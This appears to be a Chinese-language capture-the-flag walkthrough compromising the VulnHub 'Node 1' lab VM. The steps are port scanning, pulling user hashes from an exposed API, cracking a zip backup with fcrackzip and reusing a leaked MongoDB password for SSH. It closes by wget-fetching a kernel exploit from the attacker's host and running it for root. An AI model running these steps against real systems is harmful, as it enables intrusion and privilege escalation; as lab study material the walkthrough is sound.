Node 靶机
靶机下载: https://www.vulnhub.com/entry/node-1,252/
渗透目标是通过 VMWare 安装的 Node 虚拟机, 网络连接方式为仅主机, 目标 IP 通过 DHCP 分配
主机发现
[root@kali ~]# arp-scan -I eth0 -l
端口探测
[root@kali ~]# nmap -sS -p1-65535 -v 192.168.64.129
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
服务识别
[root@kali ~]# nmap -sV -T4 -p22,3000 192.168.64.129
查找漏洞
扫描目录
[root@kali ~]# dirb http://192.168.64.129:3000 -f ~/web_file_list.txt
没有扫描到 web 目录
使用BurpSuite 探测
获取到 http://192.168.64.129:3000/api/users/latest 中 JSON 格式的用户数据
尝试去掉 latest, 在 http://192.168.64.129:3000/api/users/ 中发现了管理员用户
尝试破解密码
[root@kali ~]# hash-identifier dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
Possible Hashs:
[+] SHA-256
[+] Haval-256
Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
SHA-256 在线解密 https://md5decrypt.net/Sha256/
用管理员登录
管理员登录后可以下载备份文件
尝试解密备份
文件内容为 ASCII 文本, 预览后疑似 BASE64 编码
[root@kali ~]# file myplace.backup
myplace.backup: ASCII text, with very long lines, with no line terminators
尝试 BASE64 解码, 得到 zip 压缩包, 但是解压需要密码
[root@kali ~]# cat myplace.backup | bash64 -d > myplace.bak
[root@kali ~]# file myplace.bak
myplace.bak: Zip archive data, at least v1.0 to extract
尝试破解压缩包密码
[root@kali ~]# fcrackzip -v -b -u -c a -p magicaaaa myplace.bak
... ...
PASSWORD FOUND!!!!: pw == magicword
解压后寻找可用信息
[root@kali ~]# unzip myplace.bak
[root@kali ~]# more var/www/myplace/app.js
... ...
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
... ...
尝试使用 MongoDB 用户 ssh 登录
[root@kali ~]# ssh mark@192.168.64.129 #密码:5AYRft73VtFpc84k
[mark@node ~]$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
[mark@node ~]$ cat /etc/issue
Ubuntu 16.04.3 LTS \n \l
漏洞提权
[root@kali ~]# searchsploit Ubuntu 16.04
发现漏洞提权代码
将提权代码传到靶机
[root@kali ~]# systemctl start apache2.service
[root@kali ~]# cp /usr/share/exploitdb/exploits/linux/local/44298.c /var/www/html/
[mark@node /tmp]$ wget http://192.168.64.128/44298.c
#192.168.64.128 为 Kali 虚拟机 IP
[mark@node /tmp]$ gcc 44298.c -o exp
[mark@node /tmp]$ ./exp
[root@node /tmp]# whoami
root